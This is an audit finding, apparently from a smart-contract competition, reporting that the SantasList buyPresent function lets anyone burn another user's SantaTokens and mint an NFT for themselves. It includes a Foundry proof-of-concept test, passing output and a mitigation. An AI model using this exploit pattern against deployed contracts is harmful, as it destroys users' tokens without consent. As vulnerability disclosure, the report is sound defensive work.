Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Possible Unauthorized Token Burning in buyPresent Function

Summary

The buyPresent function allows an external attacker to burn other users' SantaTokens and mint NFTs for themselves. This vulnerability stems from the improper use of the burn function in the context of the token's approval mechanism, potentially leading to unauthorized token depletion and unfair NFT acquisition.

Vulnerability Details

The vulnerability lies in the buyPresent function's logic, where it calls i_santaToken.burn(presentReceiver) without adequate checks to ensure that the caller is the rightful owner of the SantaTokens or has received explicit permission from the token owner.

This flaw is exacerbated by the fact that the approve function in the token contract emits an Approval event, which can be monitored by attackers. They can use this information to call buyPresent with the address of a user who has approved the SantasList contract to spend their tokens, leading to unauthorized burning of the user's tokens and minting of NFTs for the attacker's benefit.

Santaslist.sol:

function buyPresent(address presentReceiver) external {
i_santaToken.burn(presentReceiver);
_mintAndIncrement();
}
function _mintAndIncrement() private {
_safeMint(msg.sender, s_tokenCounter++);
}

@solmate/src/tokens/ERC20.sol

function approve(address spender, uint256 amount) public virtual returns (bool) {
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}

Impact

The consequences of this vulnerability are twofold:

  • Unauthorized Token Burning: Attackers can deplete other users' SantaTokens without their consent, leading to financial loss for the token owners.

  • Unfair NFT Acquisition: The same attackers can unjustly acquire NFTs, disrupting the intended distribution mechanism and potentially devaluing the NFTs due to unauthorized increase in supply.

Proof of Concept

Working test case

The following test uses the attacker's address to call the buyPresent function after the user approved SantasList address.

function test_BuyPresentAttack() public {
vm.startPrank(santa);
santasList.checkList(user, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
vm.startPrank(user);
santaToken.approve(address(santasList), 1e18);
santasList.collectPresent();
vm.stopPrank();
vm.startPrank(attacker);
santasList.buyPresent(user);
assertEq(santasList.balanceOf(attacker), 1);
assertEq(santaToken.balanceOf(user), 0);
vm.stopPrank();
}

Terminal:

Running 1 test for test/unit/SantasListTest2.t..sol:SantasListTest
[PASS] test_BuyPresentAttack() (gas: 229130)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.45ms

Tools Used

Foundry

Recommended Mitigation

Update buyPresent Logic: Amend the function to ensure it checks whether the caller has the right to burn tokens for the specified presentReceiver. This could involve verifying that the caller is the token owner or has been authorized by the owner.

Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

buyPresent should use msg.sender

Current implementation allows a malicious actor to burn someone else's tokens as the burn function doesn't actually check for approvals.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.